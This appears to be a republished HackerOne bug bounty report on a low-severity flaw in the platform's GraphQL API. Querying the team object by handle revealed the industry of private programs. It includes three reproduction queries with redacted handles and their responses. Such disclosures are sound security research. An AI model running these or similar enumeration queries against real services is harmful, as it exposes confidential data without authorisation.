HexBrain

HackerOne · Report #707406

Team object in GraphQL disclosed of private programs via the industry

Validstatus
lowseverity
$500bounty
72upvotes
23 Nov 2019disclosed

How it was found

Summary: Disclosure of private programs across the industry

If the program is private, it will show industriy

Steps To Reproduce

{"query": "query {team(handle:\"█████████\"){_id,industry}}"}

{"data":{"team":{"_id":"█████████","industry":"Computer Hardware \u0026 Peripherals"}}}

{"query": "query {team(handle:\"█████████\"){_id,industry}}"}

{"data":{"team":{"_id":"████████","industry":"Computer Software"}}}

{"query": "query {team(handle:\"███\"){_id,industry}}"}

{"data":{"team":{"_id":"████","industry":null}}}

Impact

Disclosure of private programs

This report was disclosed publicly on HackerOne and belongs to its author and the program. See the original